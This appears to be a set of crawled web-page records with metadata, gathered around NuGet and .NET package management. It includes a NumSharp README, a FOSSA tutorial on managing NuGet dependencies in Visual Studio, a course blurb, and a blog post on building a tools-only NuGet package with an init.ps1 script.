Implemented APIs
The NumPy class is a high-level abstraction of NDArray that allows NumSharp to be used in the same way as Python's NumPy, minimizing API differences caused by programming language features, allowing .NET developers to maximize Utilize a wide range of NumPy code resources to seamlessly translate python code into .NET code.
Check the code: src\NumSharp.Core\APIs
How to use
using NumSharp;
// create a vector var nd = np.arange(12) // create a matrix nd = np.arange(12).reshape(3, 4); // access data by index var data = nd[1, 1]; // create a tensor nd = np.arange(12).reshape(2, 3, 2); // get the 2nd vector in the 1st dimension data = n[new Shape(1)]; // get the 3rd vector in the (axis 1, axis 2) dimension data = n[new Shape(1, 2)]; // interate ndarray foreach (data in nd) { // data is a ndarray or a value }
Install NumSharp in NuGet
PM> Install-Package NumSharp
How to make docs
Download docfx and put on PATH → https://github.com/dotnet/docfx/releases
docfx ./docfx_project/docfx.json -o ./docs
How to run benchmark
C: \> dotnet NumSharp.Benchmark.dll nparange
Reference the documents generated by DocFX.
Reference the documents host on readthedocs.io.
NumSharp is referenced by:
Pandas.NET
SciSharp-Learn
TensorFlow.NET
Bigtree.MachineLearning
CherubNLP
BotSharp
You might also be interested in NumSharp's sister project Numpy.NET.
NumSharp is a member project of SciSharp.org which is the .NET based ecosystem of open-source software for mathematics, science, and engineering. Welcome to fork and pull request to add more APIs, and make reference list longer.
<img src="https://avatars3.githubusercontent.com/u/44989469?s=200&v=4" width="80">
Join us on Gitter
Scan QR code to join TIM group:
|
|||
8582
|
dbpedia
|
0
| 57
|
https://fossa.com/blog/dependency-management-visual-studio-nuget-beyond/
|
en
|
Dependency Management in Visual Studio: NuGet and Beyond
|
[
"https://www.facebook.com/tr?id=1898322167094379&ev=PageView&noscript=1",
"https://fossa.com/blog/assets/nav-logo.svg?v=43c0eb6c1a",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a4670620b2942c72629_vulnerability-management.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a4496e6ef39b7596644_license-compliance.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a4570620b37eec72624_sbom.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a431407d8e7e4b8b688_continuos-compliance.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a43482d4abfa5015c5d_due-diligence.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a454cc38f10b29497bb_shiftleft-risk-mitigation.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/652411580354b5d855d18a9a_microchip-ai.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a461407d887b0b8b6b5_started.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a4396e6ef5748596643_documentation.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a43482d4a97ae015c52_blog.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a454cc38f7c839497ba_resources.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a44b16556abfedfc4a3_events.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a46f95dcca864224278_tldrlegal.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a43f07e633796a0059a_about.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a435dee79164f5342ba_customers.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a436c0ae0660a54ad75_careers.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a4470620b86a0c7261d_partners.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a4597c263d0940f9c5f_press.svg",
"https://assets-global.website-files.com/62e82713ebd0a52ef4a76313/635d1a43c8f1b25daf9b5a12_contact-us.svg",
"https://fossa.com/blog/content/images/size/w600h300/2022/01/visual-studio.png 600w, /blog/content/images/size/w800h400/2022/01/visual-studio.png 800w, /blog/content/images/size/w1200h600/2022/01/visual-studio.png 1200w, /blog/content/images/size/w2400h1200/2022/01/visual-studio.png 2400w",
"https://fossa.com/blog/content/images/2022/01/visual-studio-32.png",
"https://fossa.com/blog/content/images/2022/01/VS-33.png",
"https://fossa.com/blog/content/images/2022/01/vs34.png",
"https://fossa.com/blog/content/images/2022/01/vs35.png",
"https://fossa.com/blog/content/images/2022/01/vs36.png",
"https://fossa.com/blog/content/images/2022/01/vs37.png",
"https://fossa.com/blog/content/images/2022/01/vs38.png",
"https://fossa.com/blog/content/images/2022/01/vs39.png",
"https://fossa.com/blog/content/images/2022/01/vs40.png",
"https://fossa.com/blog/content/images/2022/01/vs41.png",
"https://fossa.com/blog/content/images/2022/01/vs42.png",
"https://fossa.com/blog/content/images/2022/01/vs43.png",
"https://fossa.com/blog/content/images/2022/01/vs44.png",
"https://fossa.com/blog/content/images/2022/01/vs45.png",
"https://fossa.com/blog/content/images/2022/01/vs46.png",
"https://fossa.com/blog/content/images/size/w600h300/2022/01/npm.png 600w, /blog/content/images/size/w800h400/2022/01/npm.png 800w, /blog/content/images/size/w1200h600/2022/01/npm.png 1200w, /blog/content/images/size/w2400h1200/2022/01/npm.png 2400w",
"https://fossa.com/blog/content/images/size/w120h120/2022/07/photo.jpeg",
"https://fossa.com/blog/content/images/size/w600h300/2021/12/AGPL.png 600w, /blog/content/images/size/w800h400/2021/12/AGPL.png 800w, /blog/content/images/size/w1200h600/2021/12/AGPL.png 1200w, /blog/content/images/size/w2400h1200/2021/12/AGPL.png 2400w",
"https://fossa.com/blog/content/images/size/w120h120/2022/07/photo.jpeg",
"https://fossa.com/blog/content/images/2022/02/fossa-blog.png"
] |
[] |
[] |
[
""
] | null |
[
"Cristian Taran"
] |
2022-01-06T22:49:06+00:00
|
Learn how to manage NuGet package dependencies for your .NET projects using Visual Studio.
|
en
|
Dependency Heaven
|
https://fossa.com/blog/dependency-management-visual-studio-nuget-beyond/
|
Visual Studio is one of the most-used IDEs for building products on the Microsoft technology stack. Whether you're building on top of .NET Framework, .NET Core, .NET Standard, or another framework, you are or most likely have at some point used Visual Studio. (This piece will focus on .NET projects, but Visual Studio also supports languages like JavaScript, C, and C++, among others.)
In the Microsoft universe, reusable code comes in the shape of pre-built assemblies (.dlls). When you decide to include these in your project, they are referred to as project dependencies. If your project is small, it might have just a couple of dependencies, but most production-grade software will have lots. This comes with increased complexity in managing these dependencies.
In this post, we will be looking at how to best manage dependencies for your .NET projects using Visual Studio and NuGet (the package manager for .NET), with a peek behind the scenes at what happens when you’re taking related steps in the Visual Studio UI.
Table of Contents
Project Dependencies
NuGet
Adding/Removing a Package
Updating a Package
Behind the Scenes in Visual Studio
Add a Package
Update a Package
Uninstall a Package
Restoring Packages
Alternatives to Visual Studio UI
Package Manager Console
Dotnet CLI
NuGet CLI
Additional Tips: Dependency Management in Visual Studio
Reinstall a Package
Consolidate
Packages.config
Migrate from packages.config to PackageReference
Project Dependencies in Visual Studio
Let us first have a look at the different types of dependencies you might find in a .NET project.
For the purposes of this article, we will be focusing on .NET Core projects in Visual Studio 2019, but a lot holds true for previous versions dating back to 2017 and also for version 2022.
When you right-click on the “Dependencies” node in your project in Visual Studio, you will be presented with the following list:
So, what do all these options mean? Let's take a look.
Add Project Reference: Use this if you want to refer to the output of another project located in the same Visual Studio solution (.sln). Visual Studio can figure out what assembly to use given the path to the project. Also called project-to-project reference, this is preferred to referencing files (assemblies) directly because it creates a dependency between projects in the build system, which helps keep the dependency tree consistent.
Add Shared Project Reference: Another way to reuse code is via Shared Projects, which allow you to write code that can then be referenced by other projects. A shared project does not have a binary output; instead, the code is compiled as part of each other project that references it.
Add COM Reference: This allows referencing of COM components.
Browse: The above three options will open the Reference Manager, which allows for a fourth option: “Browse.” Use this if you want to refer to another component from the local file system (or a trusted network location). However, Microsoft recommends using project-to-project reference instead of direct file reference.
Manage Connected Services: Use this if you need to connect your application to external services, like Azure Services, SQL Server databases, or a host of other services which can be installed from the Visual Studio Marketplace.
Manage NuGet Packages: One of the most-used options, and our focus for the remainder of this post, is managing references to NuGet Packages.
Thank you for submitting details. Your email address is added to our subscription list.
NuGet and Visual Studio
As the world became more and more connected through the internet, software developers also became increasingly interconnected and aware of each other’s work. As a side effect, sharing and reusing code between projects went from being desirable, to being the norm, to being a necessity.
But reusing code as assemblies can be a tedious and complex process, especially when dealing with huge projects that have many dependencies. Keeping track of all the required dependencies, making sure they are available in all environments and with the correct version, reconciling versions in the dependency tree, and managing cascading dependencies can be time-consuming and error-prone.
So, the more developers were interested in sharing and reusing code, the more the need for a managed solution for dependency management became apparent.
For the .NET world, this solution came in 2010 when NuGet was first launched. NuGet is the package manager for .NET. It is a software-as-a-service solution that enables developers to create, share, and consume useful code in the form of “packages.”
NuGet was initially distributed as an extension for Visual Studio, but starting with Visual Studio 2012, it became fully integrated into the IDE. It can also be used via its native client (nuget.exe), via MSBuild, or via the .NET Core SDK (dotnet.exe). The latest stable version at the time of writing is 5.11.0, launched in August 2021.
NuGet packages are nothing more than zip files (with the .nupkg extension) that contain the compiled code (.dll files) and other files related to that code including a manifest.
NuGet enables developers to:
Create packages and publish them to a public or private repository
Retrieve packages from repositories, add them to their projects, and call that functionality from their code
Let’s dive a little further into using the Package Manager UI in your Visual Studio project to handle package dependencies. We will be using Visual Studio 2019 and NuGet 5.11.0 as references, but most of this holds true even for older versions of Visual Studio and NuGet.
Adding or Removing a NuGet Package
To add a NuGet package to your project, after you right-click on the Dependencies node in your Solution explorer, choose the “Manage NuGet packages…” option:
This will open up the NuGet Package Manager UI, where you are presented with three main areas: Browse, Installed, and Updates; you can also select the Package Source, i.e. the repository where Visual Studio will search for available packages.
Go ahead and select the Browse tab, search for your package, select the desired version of that package, and hit Install.
Visual Studio proceeds to install the package and its dependencies into your project. Once the operation is complete, you can start writing code that calls/uses code from the newly added package.
Now, back in the Package Manager UI, switch over to the Installed tab where you should see your new package. You can choose to Uninstall it or any other package that was previously added to your project.
Updating a NuGet Package
If you have installed an earlier version of a package at some point, you might want to update that package to a newer version.
To do that, back in the Package Manager UI, switch over to the Updates tab, where you can see those packages included in your project for which a newer version is available in the selected repository, in our case nuget.org.
Here, you can choose to:
Select one or more of the packages in the list and hit Update. This will upgrade all the (selected) packages to their latest version.
Select one of the packages, then on the right-hand side choose a specific version that you want to upgrade that package to and hit Install. This will upgrade only the selected package to the particular version that you selected.
Behind the Scenes in Visual Studio
A Visual Studio project is defined by a .csproj file, which is an XML file that holds different configuration settings for the project.
The information about the NuGet package dependencies for your project is stored in this .csproj file.
NOTE: For .NET Framework projects and more generally for non-SDK-style projects, the package dependencies are by default stored separately in a packages.config file in a similar fashion and with a similar dynamic.
Here is a sample of a .csproj for a new .NET Core Console Application:
Adding a Package
When you add a new package to the project, Visual Studio will:
Download the package
Unpack and install it in a dedicated folder on your local machine
And finally, add a corresponding PackageReference node in the .csproj file:
NOTE: Adding a package via the NuGet CLI will not update the .csproj file. To achieve that, use one of these approaches:
VS Package Manager UI
VS Package Manager console
Dotnet CLI
When you update a package in your project, behind the scenes Visual Studio will:
Download the specific/latest version of the package
Unpack and install it in a local folder
Modify the corresponding node in the .csproj file
Uninstalling a Package
When you uninstall a package from your project, the corresponding PackageReference node will be removed from the .csproj file.
NOTE: These actions can also be achieved by editing the .csproj file directly, but make sure you know what you are doing as this can generate inconsistencies and corrupt the .csproj file.
For more options offered by the PackageReference structure, you can reference Microsoft's documentation.
Restoring Packages
The advantage of using NuGet is that your project is self-sufficient even without the actual installed packages (i.e. the .dlls). As long as the package dependencies are correctly described in the .csproj file (or the packages.config file), you can clone/copy your project code to another machine and get it to build and run in no time.
This can be achieved by doing a Package Restore operation. Package Restore will attempt to install all the package dependencies exactly as they are defined in your .csproj file. It will start by installing the direct dependencies of your project, and then move on to dependencies of dependencies, and so on, until the full dependency graph is covered.
There are two ways to perform a Package Restore operation from Visual Studio:
Build Project/Build Solution will automatically perform a package restore
Right-click on Solution and select Restore NuGet Packages
For more ways to restore packages and other related details, you can reference Microsoft's documentation.
One scenario where the restore capability is extremely useful is the case of an automated CI/CD pipeline. The pipeline does not need to care about storing the actual binary files of the package dependencies. All it needs to do to deploy a new environment is:
Spin-up the actual host environment
Clone the repository locally on the host environment
Build the project or restore packages explicitly
Alternatives to Visual Studio UI
Along with the Visual Studio UI, here are some other ways to manipulate packages in your project.
Package Manager Console
You can reach this via Tools -> NuGet Package Manager -> Package Manager Console.
In the console, you can use commands to:
Find the desired package: Find-Package [package_name]
Install it: Install-Package [package_name]
Uninstall it: Uninstall-Package [package_name]
Update it: Update-Package [package_name]
For more details about these commands and the console in general, see the documentation.
Dotnet CLI
The dotnet command-line tool can be used for .NET Core, .NET Standard, or any SDK-style project.
You can use it by opening a command line, switching to your project’s folder, and typing different commands to:
Install a package: dotnet add package [package_name]
Uninstall a package: dotnet remove package [package_name]
Update a package: dotnet add package [package_name] without specifying the [-v] option will install the latest version
List all package references for your project: dotnet list package
Restore packages: dotnet restore and also dotnet build or dotnet run starting with .NET Core 2.0.
For more details about using the dotnet CLI, see the official documentation.
NuGet CLI
The NuGet command-line tool can be used for .NET Framework or any non-SDK-style projects that still use the packages.config file to store the description of the package dependencies.
As a prerequisite, nuget.exe CLI needs to be downloaded from nuget.org and stored in a local folder that is added to the PATH environment variable.
You can use it by opening a command line, switching to your project’s folder, and typing different commands to:
Install a package: nuget install <packageID> -OutputDirectory packages
Install with a specific version: nuget install <packageID | configFilePath> -Version <version>
Remove a package: For this, simply delete the package from the packages folder
List all package references for your project: nuget list -Source <source>
Restore packages: nuget restore MySolution.sln
For more details about NuGet CLI, see the documentation.
Additional Tips: Managing Dependencies in Visual Studio
Reinstalling a Package
There are several situations where it might be useful to reinstall a package, such as:
Broken reference after package restore
Corrupted project due to deleted files
Broken project after package update
Retargeting or upgrading a project
During package development
If you find yourself in one of these situations, use one of the following ways to reinstall the package:
Package Manager Console: Run the Update-Package -reinstall command
Package Manager UI: Go to Installed tab, hit Uninstall, then go to Browse tab, search for the package name, select it, and hit Install.
Dotnet CLI: Run the dotnet restore command
NuGet CLI: Delete the package folder and then run the nuget install <id> command
Using different versions of the same package in different projects within a solution is considered a bad practice. To check and solve this for your solution, go to Manage Packages for Solution and you will be presented with a fourth tab: Consolidate.
Here, you can see a list of packages for which different versions are used throughout the solution. To solve the issue, simply select the projects you want to update, select the version you want to use in all of them, and then hit the Install button.
Packages.config
Some projects use a file called packages.config to record the package dependencies. This is an alternative to having that information stored in the .csproj file in the PackageReference nodes. The NuGet CLI uses the packages.config file as reference.
Visual Studio allows you to select either packages.config or PackagesReference to use as the default support for package management. You can set this up by going to Tools -> Options -> NuGet Package Manager settings:
Migrate from packages.config to PackageReference
There are some advantages to using PackageReference and .csproj instead of the packages.config file for storing package dependency information:
All project dependencies are managed in one place: There’s no need for a secondary file (i.e. packages.config)
Simple view of only top-level dependencies: .csproj only lists the direct dependencies as opposed to packages.config, which lists all dependencies.
Performance improvements in managing and using dependencies: In the PackageReference approach, the packages themselves are maintained in a folder structure outside of your solution
Multiple options on PackageReference nodes that allow more refined control over dependencies
To migrate your project from the packages.config setup to PackageReferences, simply right-click on the References node in your Solution Explorer and select Migrate packages.config to PackageReference.
See the documentation for more details about this operation.
Managing Dependencies in Visual Studio: The Bottom Line
Third-party code is an essential part of software development for essentially every organization. However, using it can create challenges with dependency management, especially for larger projects.
Fortunately, package managers have been invented — multiple options exist for different development environments and frameworks.
For the .NET ecosystem, NuGet is the solution to package management that can simplify and abstract away most of that complexity. Hopefully this article has encouraged you to start using NuGet or has taught you something new about NuGet if you were already using it.
Happy coding!
About the Author
Cristian Taran is a seasoned full-stack software engineer who specializes in the Microsoft tech stack. His recent weapons of choice include React JS, Python, .NET Core, and MS SQL Server. Whether he is coding, working out, or playing video games, he prefers doing it to the sound of music.
|
|||||
8582
|
dbpedia
|
3
| 43
|
https://careerhub.ufl.edu/classes/net-deep-dive-nuget-package-manager/
|
en
|
.NET Deep Dive: NuGet Package Manager
|
[
"https://ufl.uconnectlabs.com/wp-content/uploads/sites/244/2023/07/UFLLogo.png",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/3934edf6914833a1dbead8d10ea07936-1626195289518-480x288-center-middle.jpg?v=71859",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2023/08/8a131c401036cc331ce431c9f380c8d5-1619734649881-480x288-center-middle.jpg?v=11117",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/d771e9c8adcfef82a1c80885bae1ba13-1723058663905-480x288-center-middle.jpg?v=79922",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/0f542e3f170c41d61830f3c3a890d654-1568666500697-480x288-center-middle.jpg?v=77187",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/e3030b04f2ddca2cf891fce7c31291cc-1568666503895-480x288-center-middle.jpg?v=77186",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/720c945a1c9fb90c1fb77a5a23d2d90d-1567196043362-480x288-center-middle.jpg?v=74446",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/a5f0d4d98a48507898b31819a030f2d9-1568669302650-480x288-center-middle.jpg?v=72791",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2023/08/35c48d8e4cba308de1c0f946e6e7f16a-1568247790458-480x288-center-middle.jpg?v=11269",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/8190865435968789cd132cd614129878-1567116884744-480x288-center-middle.jpg?v=77153",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/5b6b4772b53d5f0b88e6a6423c96bf7c-1568668739002-480x288-center-middle.jpg?v=77174",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2023/08/4bdac28b76581f5db86adc8e35242a0c-1568218496271-480x288-center-middle.jpg?v=11195",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2023/08/e3b6e20523eea7cd84388d90c312c7ab-1567116604349-480x288-center-middle.jpg?v=11153",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2023/08/37e197632c773d69bfaad1b92444b584-1568663185239-480x288-center-middle.jpg?v=10833",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/23d5e78369ecb3e8f8509d59e9568e74-1567117446288-480x288-center-middle.jpg?v=77137",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/a77cd9ef283f1a47fa4a125a7a97c7b8-1568061653794-480x288-center-middle.jpg?v=77154",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/ff6cbce3d2fb5aecc76f070742607e63-1567115099085-480x288-center-middle.jpg?v=77130",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/a689cdbf8f0704ca422f4b052421ec95-1567117056768-480x288-center-middle.jpg?v=74410",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/816d54af0e38e624fbc5778e5e54dffa-1568668856702-480x288-center-middle.jpg?v=74409",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2023/08/8a2bba0af6516832296e6ee0453b9cc2-1567117886943-480x288-center-middle.jpg?v=10931",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2023/08/1527d3b688b43e5894847f206009327d-1567117975892-480x288-center-middle.jpg?v=10915",
"https://careerhub.ufl.edu/wp-content/uploads/sites/244/2024/08/5813a3af6e463224549aa5d6943b4e19-1567117807420-480x288-center-middle.jpg?v=74406",
"https://ufl.uconnectlabs.com/wp-content/uploads/sites/244/2023/07/UFLLogo.png",
"https://careerhub.ufl.edu/wp-content/themes/uConnect/images/powered-by-uconnect-badge.svg"
] |
[] |
[] |
[
""
] | null |
[] |
2021-07-15T00:00:00+00:00
|
Most programming languages have an associated package management system that helps find and install code libraries and their dependencies. For the .NET developer, NuGet is the official package mana…
|
en
|
Career Connections Center University of Florida
|
https://careerhub.ufl.edu/classes/net-deep-dive-nuget-package-manager/
|
Most programming languages have an associated package management system that helps find and install code libraries and their dependencies. For the .NET developer, NuGet is the official package manager. In this course, longtime .NET programmer Walt Ritscher looks at the NuGet integration within Visual Studio and the Visual Studio command line. Walt shows you how to install, update, and remove packages from .NET projects, as well as how to search the public NuGet Gallery and create private repositories for your team. He also details the process of creating and publishing custom packages. If you’re a .NET programmer, understanding the Visual Studio package management system is vital knowledge, so join Walt as he takes a deep dive into the NuGet package manager.
Learn More
|
|||||
8582
|
dbpedia
|
3
| 34
|
https://www.marcusoft.net/2011/12/creating-tools-only-nuget-package.html
|
en
|
Creating a Tools-Only NuGet Package
|
[
"https://www.marcusoft.net/img/avatar.png"
] |
[] |
[] |
[
""
] | null |
[
"Marcus Hammarberg"
] |
2011-12-11T20:30:00+00:00
|
I have started to help out in a new OSS project. The last one was SpecFlow and now it’s Pickles. Pickles is a tool that takes .feature-files from SpecFlow or Cucumber and turns it into a nice living documentation. It’s a great addition to SpecFlow. Ok – one of the things I have been doing in the Pickles project is to create NuGet packages for the project different runners and especially lately the PowerShell runner. This will be the main way to interact with Pickles locally, which basically means that you’ll just write a command in the Package Manager Console to generate the documentation frictionless. Later you will probably run it as part of your Nant or MsBuild build files. I learned a great deal about PowerShell and NuGet when I put that NuGet package together and since it was quite some time since I blogged I thought I’ll write down my experiences. This post is a about the NuGet package. The goal of my package is to NOT add any references to any projects. I just want it to drop some assemblies as tools and then use the “Import-Module” PowerShell command to make the commandlet I’ve written available to the Package Manager Console. NuSpec NuSpec is a file format in which you specify how your package should be built. It’s actually not necessary in most cases since NuGet can package a Visual Studio project file straight off. But if you want more fine-grained control over how the package is created then you might want to create the NuSpec-file by hand. The NuSpec-file is just plain XML and here is mine: <?xml version="1.0"?> <package xmlns="http://schemas.microsoft.com/packaging/2011/08/nuspec.xsd"> <metadata> <id>Pickles</id> <version>$version$</version> <title>Pickles - Gherkin Documentation Generator</title> <authors>Marcus Hammarberg</authors> <owners>Jeffrey Cameron</owners> <projectUrl>https://github.com/x97mdr/pickles</projectUrl> <requireLicenseAcceptance>false</requireLicenseAcceptance> <description>Pickles is an ...</description> <summary>A documentation generator ...</summary> <copyright>Copyright © Jeffrey Cameron 2010-2011</copyright> </metadata> <files> <file src="bin\Release*.dll" target="tools" /> <file src="init.ps1" target="tools\init.ps1" /> </files> </package> Most of the elements speak for themselves. At line 5, you can see how you can send in a version number to the NuGet Pack command. Lines 15-18 specify the files to include and where to place them in the deployed package. Noteworthy is the absence of any dependencies specification. Also, note the inclusion of a PowerShell file called init.ps1. Init.ps1 This is a PowerShell file that runs (if included) when a NuGet package installs. It’s perfect for doing installation stuff. Here is how the file looks like for me: param($installPath, $toolsPath, $package) Import-Module (Join-Path $toolsPath Pickles.PowerShell.dll) Write-Host "#############################" Write-Host "Pickles installed." Write-Host "Command usage (switches in brackets are optional):" Write-Host "Pickle-Features -FeatureDirectory -OutputDirectory [-Language] [-TestResultsFile] [-SystemUnderTestName] [-SystemUnderTestVersion]" Write-Host "#############################" On line 1, we have some parameters that NuGet sends to us. On line 3 is the important stuff; here I do the Import-Module of the PowerShell commandlet I’ve written. The rest is just informative output to guide users on command usage. NuGet.exe and the Pack command NuGet also has a command with which you can do a lot of stuff. Here I was interested in the Pack command. It turns a .nuspec or a Visual Studio project file into a .nupkg file that then can be deployed separately. Here is my command that operates on the .nuspec file I described above: nuget pack Pickles.nuspec -Version %1 Nothing strange here, I simply point to the .nuspec file and pass a parameter as the version. This allows me to use this command (.cmd file) from a DOS prompt to create new packages by simply setting the version number of the package. So for version 0.3, I got a file called “Pickles.0.3.nupkg”. Trying out your package locally A really nice feature of NuGet is that you can very easily set up a local NuGet repository. I’ve blogged about that before and it’s done in just a few minutes. So to try my package out I simply copied it into my local repository (just a folder on my computer) and then went “Install-Package Pickles” in the Package Manager Console in Visual Studio. I even got intellisense for the package name. Conclusion and lessons learned I had some strange problems with the references to dependencies for my package for a while. But when I cleaned my files up in order to write a StackOverflow question about it… the problems went away. Typical! I must have messed up. But I learned one very important thing when trying your packages out; Increment the version number for each new version! Or start a new project to import your package into. I suspect that the cleanup didn’t always work as expected. All in all, this is a very nice way to deploy a tool, I think. It has taken me quite some time to put together but 70% of that has been me going back and forth trying to figure out why it didn’t work. Most likely that had to do with me using the same version number all the time. The Pickles NuGet packages will be available from NuGet.org soon. Very soon.
|
/img/favicon-32x32.png
|
marcusoft.net - sharing is learning
|
https://www.marcusoft.net/2011/12/creating-tools-only-nuget-package.html
|
I have started to help out in a new OSS project. The last one was SpecFlow and now it’s Pickles. Pickles is a tool that takes .feature-files from SpecFlow or Cucumber and turns it into a nice living documentation. It’s a great addition to SpecFlow.
Ok – one of the things I have been doing in the Pickles project is to create NuGet packages for the project different runners and especially lately the PowerShell runner. This will be the main way to interact with Pickles locally, which basically means that you’ll just write a command in the Package Manager Console to generate the documentation frictionless. Later you will probably run it as part of your Nant or MsBuild build files.
I learned a great deal about PowerShell and NuGet when I put that NuGet package together and since it was quite some time since I blogged I thought I’ll write down my experiences. This post is a about the NuGet package. The goal of my package is to NOT add any references to any projects. I just want it to drop some assemblies as tools and then use the “Import-Module” PowerShell command to make the commandlet I’ve written available to the Package Manager Console.
NuSpec
NuSpec is a file format in which you specify how your package should be built. It’s actually not necessary in most cases since NuGet can package a Visual Studio project file straight off. But if you want more fine-grained control over how the package is created then you might want to create the NuSpec-file by hand.
The NuSpec-file is just plain XML and here is mine:
Most of the elements speak for themselves. At line 5, you can see how you can send in a version number to the NuGet Pack command. Lines 15-18 specify the files to include and where to place them in the deployed package. Noteworthy is the absence of any dependencies specification. Also, note the inclusion of a PowerShell file called init.ps1.
Init.ps1
This is a PowerShell file that runs (if included) when a NuGet package installs. It’s perfect for doing installation stuff. Here is how the file looks like for me:
On line 1, we have some parameters that NuGet sends to us. On line 3 is the important stuff; here I do the Import-Module of the PowerShell commandlet I’ve written. The rest is just informative output to guide users on command usage.
NuGet.exe and the Pack command
NuGet also has a command with which you can do a lot of stuff. Here I was interested in the Pack command. It turns a .nuspec or a Visual Studio project file into a .nupkg file that then can be deployed separately. Here is my command that operates on the .nuspec file I described above:
nuget pack Pickles.nuspec -Version %1
Nothing strange here, I simply point to the .nuspec file and pass a parameter as the version. This allows me to use this command (.cmd file) from a DOS prompt to create new packages by simply setting the version number of the package. So for version 0.3, I got a file called “Pickles.0.3.nupkg”.
Trying out your package locally
A really nice feature of NuGet is that you can very easily set up a local NuGet repository. I’ve blogged about that before and it’s done in just a few minutes. So to try my package out I simply copied it into my local repository (just a folder on my computer) and then went “Install-Package Pickles” in the Package Manager Console in Visual Studio. I even got intellisense for the package name.
Conclusion and lessons learned
I had some strange problems with the references to dependencies for my package for a while. But when I cleaned my files up in order to write a StackOverflow question about it… the problems went away. Typical! I must have messed up. But I learned one very important thing when trying your packages out; Increment the version number for each new version! Or start a new project to import your package into. I suspect that the cleanup didn’t always work as expected. All in all, this is a very nice way to deploy a tool, I think. It has taken me quite some time to put together but 70% of that has been me going back and forth trying to figure out why it didn’t work. Most likely that had to do with me using the same version number all the time.
The Pickles NuGet packages will be available from NuGet.org soon. Very soon.
|
|||||
8582
|
dbpedia
|
0
| 61
|
https://weblog.west-wind.com/posts/2022/Sep/11/Referencing-a-Local-Private-NuGet-Package-in-your-Solution
|
en
|
Referencing a Local Private NuGet Package in your Solution
|
[
"https://weblog.west-wind.com/images/HeroImages/RickHero16.jpg",
"https://weblog.west-wind.com/images/rick175x175.jpg",
"https://markdownmonster.west-wind.com/Images/MarkdownMonster_Icon_256.png",
"https://webconnection.west-wind.com/favicon.png",
"https://www.west-wind.com/images/foxIcon_small.gif",
"https://support.west-wind.com/images/icon.png",
"https://anti-trust.rocks/favicon.png",
"https://pfy-prod-image-storage.s3.us-east-2.amazonaws.com/16851761/f2ae8be6-67dd-4223-bba0-100a3dcd63f8",
"https://markdownmonster.west-wind.com/images/MarkdownMonster_Icon_32.png",
"https://websurge.west-wind.com/favicon.png",
"https://helpbuilder.west-wind.com/images/wwhelp32.png",
"https://webconnection.west-wind.com/favicon.png",
"https://weblog.west-wind.com/images/2022/Referencing-a-Local-Private-NuGet-Package-in-your-Solution/Localz.jpg",
"https://weblog.west-wind.com/images/Sponsors/MarkdownMonster-Display.png",
"https://weblog.west-wind.com/images/sponsors/TheMastersOfDisaster-Display.png",
"https://weblog.west-wind.com/images/2022/Referencing-a-Local-Private-NuGet-Package-in-your-Solution/LocalPackageReferences.png",
"https://weblog.west-wind.com/images/2022/Referencing-a-Local-Private-NuGet-Package-in-your-Solution/LocalSolutionLayout.png",
"https://weblog.west-wind.com/images/2022/Referencing-a-Local-Private-NuGet-Package-in-your-Solution/ProjectRelativeNuGet.png",
"https://weblog.west-wind.com/images/Sponsors/NeedsMoreBassTShirt-Display.png",
"https://markdownmonster.west-wind.com/favicon.png",
"https://weblog.west-wind.com/images/donation.png",
"https://www.gravatar.com/avatar.php?gravatar_id=db3dbf59a3772da9555829eefe237751&size=100&rating=R",
"https://www.gravatar.com/avatar.php?gravatar_id=beb7fdd4bcd15e35472a96ab8182f034&size=100&rating=R",
"https://www.gravatar.com/avatar.php?gravatar_id=00&size=100&rating=R",
"https://www.gravatar.com/avatar.php?gravatar_id=beb7fdd4bcd15e35472a96ab8182f034&size=100&rating=R",
"https://www.gravatar.com/avatar.php?gravatar_id=00&size=100&rating=R",
"https://weblog.west-wind.com/images/wwToolbarlogo.png"
] |
[] |
[] |
[
""
] | null |
[
"Hood River",
"facebook.com",
"Rick Strahl"
] |
2022-09-11T00:00:00
|
I recently needed to add a local reference to my project and I couldn't quite figure out the best way to do it in a transparent way to consumers of the repository, so that they wouldn't have to explicitly configure additional build settings in order to find dependencies. In this post I discuss how to add local references or use a local Nuget source to add non-public packages to your projects without explicit package feed configuration.
